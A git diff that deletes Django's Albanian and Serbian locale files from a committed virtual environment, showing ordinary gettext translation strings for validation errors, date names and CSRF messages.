-#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Siguroni që kjo vlerë të jetë më e vogël ose baras me %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Siguroni që kjo vlerë është më e madhe ose baras me %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Siguroni që vlera të jetë një shumëfish i madhësisë së hapit %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Siguroni që kjo vlerë të jetë një shumëfish i madhësisë %(limit_value)s, " -"duke filluar nga %(offset)s, p.sh., %(offset)s, %(valid_value1)s, " -"%(valid_value2)s, e me radhë." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Sigurohuni që kjo vlerë ka të paktën %(limit_value)d shenjë (ka " -"%(show_value)d)." -msgstr[1] "" -"Siguroni që kjo vlerë ka të paktën %(limit_value)d shenja (ka " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Sigurohuni që kjo vlerë ka të shumtën %(limit_value)d shenjë (ka " -"%(show_value)d)." -msgstr[1] "" -"Siguroni që kjo vlerë ka të shumtën %(limit_value)d shenja (ka " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Jepni një numër." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Sigurohuni që s’ka më tepër se %(max)s shifër gjithsej." -msgstr[1] "Siguroni që s’ka më tepër se %(max)s shifra gjithsej." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Sigurohuni që s’ka më shumë se %(max)s vend dhjetor." -msgstr[1] "Siguroni që s’ka më shumë se %(max)s vende dhjetore." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Sigurohuni që s’ka më tepër se %(max)s shifër para presjes dhjetore." -msgstr[1] "Siguroni që s’ka më tepër se %(max)s shifra para presjes dhjetore." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Zgjatimi “%(extension)s” për kartela nuk lejohet. Zgjatime të lejuara janë: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Nuk lejohen shenja null." - -msgid "and" -msgstr "dhe " - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Ka tashmë %(model_name)s me këtë %(field_labels)s." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Është cenuar kufizimi “%(name)s”." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Vlera %(value)r s’është zgjedhje e vlefshme." - -msgid "This field cannot be null." -msgstr "Kjo fushë s’mund të përmbajë shenja null." - -msgid "This field cannot be blank." -msgstr "Kjo fushë s’mund të jetë e paplotësuar." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Ka tashmë një %(model_name)s me këtë %(field_label)s." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s duhet të jetë unike për %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Fushë e llojit: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Vlera “%(value)s” duhet të jetë ose “True”, ose “False”." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" -"Vlera për “%(value)s” duhet të jetë ose “True”, ose “False”, ose “None”." - -msgid "Boolean (Either True or False)" -msgstr "Buleane (Ose “True”, ose “False”)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Varg (deri në %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Varg (i pakufizuar)" - -msgid "Comma-separated integers" -msgstr "Numra të plotë të ndarë me presje" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Vlera “%(value)s” ka një format të pavlefshëm datash. Duhet të jetë në " -"formatin YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Vlera “%(value)s” ka formatin e saktë (YYYY-MM-DD), por është datë e " -"pavlefshme." - -msgid "Date (without time)" -msgstr "Datë (pa kohë)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Vlera “'%(value)s” ka një format të pavlefshëm. Duhet të jetë në formatin " -"YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Vlera “%(value)s” ka format të saktë (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]), " -"por është datë/kohë e pavlefshme." - -msgid "Date (with time)" -msgstr "Datë (me kohë)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Vlera “%(value)s” duhet të jetë një numër dhjetor." - -msgid "Decimal number" -msgstr "Numër dhjetor" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Vlera “%(value)s” ka format të pavlefshëm. Duhet të jetë në formatin [DD] " -"[HH:[MM:]]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Kohëzgjatje" - -msgid "Email address" -msgstr "Adresë email" - -msgid "File path" -msgstr "Shteg kartele" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Vlera “%(value)s” duhet të jetë numër i plotë." - -msgid "Integer" -msgstr "Numër i plotë" - -msgid "Big (8 byte) integer" -msgstr "Numër i plotë i madh (8 bajte)" - -msgid "Small integer" -msgstr "Numër i plotë i vogël" - -msgid "IPv4 address" -msgstr "Adresë IPv4" - -msgid "IP address" -msgstr "Adresë IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Vlera “%(value)s” duhet të jetë ose “None”, ose “True”, ose “False”." - -msgid "Boolean (Either True, False or None)" -msgstr "Buleane (Ose “True”, ose “False”, ose “None”)" - -msgid "Positive big integer" -msgstr "Numër i plotë pozitiv i madh" - -msgid "Positive integer" -msgstr "Numër i plotë pozitiv" - -msgid "Positive small integer" -msgstr "Numër i plotë pozitiv i vogël" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Identifikues (deri në %(max_length)s)" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Vlera “%(value)s” ka format të pavlefshëm. Duhet të jetë në formatin HH:MM[:" -"ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Vlera “%(value)s” ka formatin e saktë (HH:MM[:ss[.uuuuuu]]) por është kohë e " -"pavlefshme." - -msgid "Time" -msgstr "Kohë" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Të dhëna dyore të papërpunuara" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” s’është UUID i vlefshëm." - -msgid "Universally unique identifier" -msgstr "Identifikues universalisht unik" - -msgid "File" -msgstr "Kartelë" - -msgid "Image" -msgstr "Figurë" - -msgid "A JSON object" -msgstr "Objekt JSON" - -msgid "Value must be valid JSON." -msgstr "Vlera duhet të jetë JSON i vlefshëm." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Kyç i Jashtëm (lloj i përcaktuar nga fusha përkatëse)" - -msgid "One-to-one relationship" -msgstr "Marrëdhënie një-për-një" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Marrëdhënie %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Marrëdhënie %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Marrëdhënie shumë-për-shumë" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Kjo fushë është e domosdoshme." - -msgid "Enter a whole number." -msgstr "Jepni një numër të tërë." - -msgid "Enter a valid date." -msgstr "Jepni një datë të vlefshme." - -msgid "Enter a valid time." -msgstr "Jepni një kohë të vlefshme." - -msgid "Enter a valid date/time." -msgstr "Jepni një datë/kohë të vlefshme." - -msgid "Enter a valid duration." -msgstr "Jepni një kohëzgjatje të vlefshme." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Numri i ditëve duhet të jetë mes {min_days} dhe {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"S’u parashtrua ndonjë kartelë. Kontrolloni llojin e kodimit te formulari." - -msgid "No file was submitted." -msgstr "S’u parashtrua kartelë." - -msgid "The submitted file is empty." -msgstr "Kartela e parashtruar është e zbrazët." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Sigurohuni që ky emër kartele ka të shumtën %(max)d shenjë (it has " -"%(length)d)." -msgstr[1] "" -"Sigurohuni që ky emër kartele ka të shumtën %(max)d shenja (ka %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Ju lutemi, ose parashtroni një kartelë, ose i vini shenjë kutizës për " -"spastrim, jo që të dyja." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Ngarkoni një figurë të vlefshme. Kartela që ngarkuat ose nuk qe figurë, ose " -"qe figurë e dëmtuar." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Përzgjidhni një zgjedhje të vlefshme. %(value)s s’është një nga zgjedhjet e " -"mundshme." - -msgid "Enter a list of values." -msgstr "Jepni një listë vlerash." - -msgid "Enter a complete value." -msgstr "Jepni një vlerë të plotë." - -msgid "Enter a valid UUID." -msgstr "Jepni një UUID të vlefshëm." - -msgid "Enter a valid JSON." -msgstr "Jepni një JSON të vlefshëm." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Fushë e fshehur %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Mungojnë të dhëna ManagementForm, ose në to janë futur hundët. Fusha që " -"mungojnë: %(field_names)s. Nëse problemi vazhdon, mund të duhet të " -"parashtroni një raport të mete." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Ju lutemi, parashtroni e shumta %(num)d formular." -msgstr[1] "Ju lutemi, parashtroni e shumta %(num)d formularë." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Ju lutemi, parashtroni të paktën %(num)d formular." -msgstr[1] "Ju lutemi, parashtroni të paktën %(num)d formularë." - -msgid "Order" -msgstr "Renditi" - -msgid "Delete" -msgstr "Fshije" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Ju lutemi, ndreqni të dhënat e përsëdytura për %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Ju lutemi, ndreqni të dhënat e përsëdytura për %(field)s, të cilat duhet të " -"jenë unike." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Ju lutemi, ndreqni të dhënat e përsëdytura për %(field_name)s të cilat duhet " -"të jenë unike për %(lookup)s te %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Ju lutemi, ndreqni më poshtë vlerat e përsëdytura." - -msgid "The inline value did not match the parent instance." -msgstr "Vlera e brendshme s’u përputh me instancën mëmë." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Përzgjidhni një zgjedhje të vlefshme. Ajo zgjedhje s’është një nga zgjedhjet " -"e mundshme." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” s’është vlerë e vlefshme." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s s’u interpretua dot brenda zonës kohore %(current_timezone)s; " -"mund të jetë e dykuptimtë, ose mund të mos ekzistojë." - -msgid "Clear" -msgstr "Spastroje" - -msgid "Currently" -msgstr "Tani" - -msgid "Change" -msgstr "Ndryshoje" - -msgid "Unknown" -msgstr "E panjohur" - -msgid "Yes" -msgstr "Po" - -msgid "No" -msgstr "Jo" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "po,jo,ndoshta" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bajt" -msgstr[1] "%(size)d bajte" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "mesnatë" - -msgid "noon" -msgstr "mesditë" - -msgid "Monday" -msgstr "E hënë" - -msgid "Tuesday" -msgstr "E martë" - -msgid "Wednesday" -msgstr "E mërkurë" - -msgid "Thursday" -msgstr "E enjte" - -msgid "Friday" -msgstr "E premte" - -msgid "Saturday" -msgstr "E shtunë" - -msgid "Sunday" -msgstr "E dielë" - -msgid "Mon" -msgstr "Hën" - -msgid "Tue" -msgstr "Mar" - -msgid "Wed" -msgstr "Mër" - -msgid "Thu" -msgstr "Enj" - -msgid "Fri" -msgstr "Pre" - -msgid "Sat" -msgstr "Sht" - -msgid "Sun" -msgstr "Die" - -msgid "January" -msgstr "Janar" - -msgid "February" -msgstr "Shkurt" - -msgid "March" -msgstr "Mars" - -msgid "April" -msgstr "Prill" - -msgid "May" -msgstr "Maj" - -msgid "June" -msgstr "Qershor" - -msgid "July" -msgstr "Korrik" - -msgid "August" -msgstr "Gusht" - -msgid "September" -msgstr "Shtator" - -msgid "October" -msgstr "Tetor" - -msgid "November" -msgstr "Nëntor" - -msgid "December" -msgstr "Dhjetor" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "shk" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "pri" - -msgid "may" -msgstr "maj" - -msgid "jun" -msgstr "qer" - -msgid "jul" -msgstr "kor" - -msgid "aug" -msgstr "gus" - -msgid "sep" -msgstr "sht" - -msgid "oct" -msgstr "tet" - -msgid "nov" -msgstr "nën" - -msgid "dec" -msgstr "dhj" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Shk." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Mars" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Prill" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maj" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Qershor" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Korrik" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Gus." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Shta." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Tet." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nën." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dhj." - -msgctxt "alt. month" -msgid "January" -msgstr "Janar" - -msgctxt "alt. month" -msgid "February" -msgstr "Shkurt" - -msgctxt "alt. month" -msgid "March" -msgstr "Mars" - -msgctxt "alt. month" -msgid "April" -msgstr "Prill" - -msgctxt "alt. month" -msgid "May" -msgstr "Maj" - -msgctxt "alt. month" -msgid "June" -msgstr "Qershor" - -msgctxt "alt. month" -msgid "July" -msgstr "Korrik" - -msgctxt "alt. month" -msgid "August" -msgstr "Gusht" - -msgctxt "alt. month" -msgid "September" -msgstr "Shtator" - -msgctxt "alt. month" -msgid "October" -msgstr "Tetor" - -msgctxt "alt. month" -msgid "November" -msgstr "Nëntor" - -msgctxt "alt. month" -msgid "December" -msgstr "Dhjetor" - -msgid "This is not a valid IPv6 address." -msgstr "Kjo s’është adresë IPv6 e vlefshme." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "ose" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d vit" -msgstr[1] "%(num)d vjet" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d muaj" -msgstr[1] "%(num)d muaj" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d javë" -msgstr[1] "%(num)d javë" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d ditë" -msgstr[1] "%(num)d ditë" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d orë" -msgstr[1] "%(num)d orë" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minutë" -msgstr[1] "%(num)d minuta" - -msgid "Forbidden" -msgstr "E ndaluar" - -msgid "CSRF verification failed. Request aborted." -msgstr "Verifikimi CSRF dështoi. Kërkesa u ndërpre." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Këtë mesazh po e shihni ngaqë ky sajt HTTPS e ka të domosdoshme dërgimin e " -"“Referer header” te shfletuesi juaj, por s’u dërgua ndonjë i tillë. Kjo krye " -"është e domosdoshme për arsye sigurie, për të bërë të mundur që shfletuesi " -"juaj të mos komprometohet nga palë të treta." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Nëse e keni formësuar shfletuesin tuaj të çaktivizojë kryet “Referer”, ju " -"lutemi, riaktivizojini, ose për lidhje HTTPS, ose për kërkesa “same-origin”." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Nëse përdorni etiketën " -"etiketën, ose përfshini kryet “Referrer-Policy: no-referrer”, ju lutemi, " -"hiqini. Mbrojtja CSRF lyp që kryet “Referer” të kryejnë kontroll strikt " -"referuesi. Nëse shqetësoheni për privatësinë, për lidhje te sajte palësh të " -"treta përdorni alternativa si ." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Këtë mesazh po e shihni ngaqë ky sajt lyp një “cookie” CSRF, kur " -"parashtrohen formularë. Kjo “cookie” është e domosdoshme për arsye sigurie, " -"për të bërë të mundur që shfletuesi juaj të mos komprometohet nga palë të " -"treta." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Nëse e keni formësuar shfletuesin tuaj të çaktivizojë cookie-t, ju lutemi, " -"riaktivizojini, të paktën për këtë sajt, ose për kërkesa “same-origin”." - -msgid "More information is available with DEBUG=True." -msgstr "Më tepër hollësi mund të gjeni me DEBUG=True." - -msgid "No year specified" -msgstr "Nuk është caktuar vit" - -msgid "Date out of range" -msgstr "Datë jashtë intervali" - -msgid "No month specified" -msgstr "Nuk është caktuar muaj" - -msgid "No day specified" -msgstr "Nuk është caktuar ditë" - -msgid "No week specified" -msgstr "Nuk është caktuar javë" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Nuk ka %(verbose_name_plural)s të përcaktuar" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s i ardhshëm jo i passhëm, ngaqë %(class_name)s." -"allow_future është False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"U dha varg i pavlefshëm date “%(datestr)s” formati i dhënë “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "S’u gjetën %(verbose_name)s me përputhje" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Faqja s’është “last”, as mund të shndërrohet në një int." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Faqe e pavlefshme (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Listë e zbrazët dhe “%(class_name)s.allow_empty” është “False”." - -msgid "Directory indexes are not allowed here." -msgstr "Këtu s’lejohen tregues drejtorish." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” s’ekziston" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Tregues i %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Instalimi funksionoi me sukses! Përgëzime!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Shihni shënimet për hedhjen në qarkullim të " -"Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Po e shihni këtë faqe ngaqë te kartela juaj e rregullimeve gjendet DEBUG=True dhe s’keni formësuar " -"ndonjë URL." - -msgid "Django Documentation" -msgstr "Dokumentim i Django-s" - -msgid "Topics, references, & how-to’s" -msgstr "Tema, referenca, & si-të" - -msgid "Tutorial: A Polling App" -msgstr "Përkujdesore: Një Aplikacion Për Sondazhe" - -msgid "Get started with Django" -msgstr "Si t’ia filloni me Django-n" - -msgid "Django Community" -msgstr "Bashkësia Django" - -msgid "Connect, get help, or contribute" -msgstr "Lidhuni, merrni ndihmë, ose jepni ndihmesë" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sq/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/sq/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sq/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sq/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 02939549..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sq/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sq/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sq/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index a89fba42..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sq/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sq/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/sq/formats.py deleted file mode 100644 index c7ed92e1..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sq/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "d F Y" -TIME_FORMAT = "g.i.A" -# DATETIME_FORMAT = -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "Y-m-d" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/sr/LC_MESSAGES/django.mo deleted file mode 100644 index 627a9cb3..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sr/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/sr/LC_MESSAGES/django.po deleted file mode 100644 index e33e0701..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sr/LC_MESSAGES/django.po +++ /dev/null @@ -1,1364 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Branko Kokanovic , 2018-2019 -# Igor Jerosimić, 2019-2021,2023-2025 -# Jannis Leidel , 2011 -# Janos Guljas , 2011-2012 -# Mariusz Felisiak , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Igor Jerosimić, 2019-2021,2023-2025\n" -"Language-Team: Serbian (http://app.transifex.com/django/django/language/" -"sr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sr\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " -"n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" - -msgid "Afrikaans" -msgstr "африкански" - -msgid "Arabic" -msgstr "арапски" - -msgid "Algerian Arabic" -msgstr "Алжирски арапски" - -msgid "Asturian" -msgstr "астуријски" - -msgid "Azerbaijani" -msgstr "азербејџански" - -msgid "Bulgarian" -msgstr "бугарски" - -msgid "Belarusian" -msgstr "белоруски" - -msgid "Bengali" -msgstr "бенгалски" - -msgid "Breton" -msgstr "бретонски" - -msgid "Bosnian" -msgstr "босански" - -msgid "Catalan" -msgstr "каталонски" - -msgid "Central Kurdish (Sorani)" -msgstr "централнокурдски (сорани)" - -msgid "Czech" -msgstr "чешки" - -msgid "Welsh" -msgstr "велшки" - -msgid "Danish" -msgstr "дански" - -msgid "German" -msgstr "немачки" - -msgid "Lower Sorbian" -msgstr "доњолужичкосрпски" - -msgid "Greek" -msgstr "грчки" - -msgid "English" -msgstr "енглески" - -msgid "Australian English" -msgstr "аустралијски енглески" - -msgid "British English" -msgstr "британски енглески" - -msgid "Esperanto" -msgstr "есперанто" - -msgid "Spanish" -msgstr "шпански" - -msgid "Argentinian Spanish" -msgstr "аргентински шпански" - -msgid "Colombian Spanish" -msgstr "колумбијски шпански" - -msgid "Mexican Spanish" -msgstr "мексички шпански" - -msgid "Nicaraguan Spanish" -msgstr "никарагвански шпански" - -msgid "Venezuelan Spanish" -msgstr "венецуелански шпански" - -msgid "Estonian" -msgstr "естонски" - -msgid "Basque" -msgstr "баскијски" - -msgid "Persian" -msgstr "персијски" - -msgid "Finnish" -msgstr "фински" - -msgid "French" -msgstr "француски" - -msgid "Frisian" -msgstr "фризијски" - -msgid "Irish" -msgstr "ирски" - -msgid "Scottish Gaelic" -msgstr "шкотски гелски" - -msgid "Galician" -msgstr "галицијски" - -msgid "Hebrew" -msgstr "хебрејски" - -msgid "Hindi" -msgstr "хинду" - -msgid "Croatian" -msgstr "хрватски" - -msgid "Upper Sorbian" -msgstr "горњолужичкосрпски" - -msgid "Hungarian" -msgstr "мађарски" - -msgid "Armenian" -msgstr "јерменски" - -msgid "Interlingua" -msgstr "интерлингва" - -msgid "Indonesian" -msgstr "индонежански" - -msgid "Igbo" -msgstr "Игбо" - -msgid "Ido" -msgstr "идо" - -msgid "Icelandic" -msgstr "исландски" - -msgid "Italian" -msgstr "италијански" - -msgid "Japanese" -msgstr "јапански" - -msgid "Georgian" -msgstr "грузијски" - -msgid "Kabyle" -msgstr "кабилски" - -msgid "Kazakh" -msgstr "казашки" - -msgid "Khmer" -msgstr "кмерски" - -msgid "Kannada" -msgstr "канада" - -msgid "Korean" -msgstr "корејски" - -msgid "Kyrgyz" -msgstr "Киргиски" - -msgid "Luxembourgish" -msgstr "луксембуршки" - -msgid "Lithuanian" -msgstr 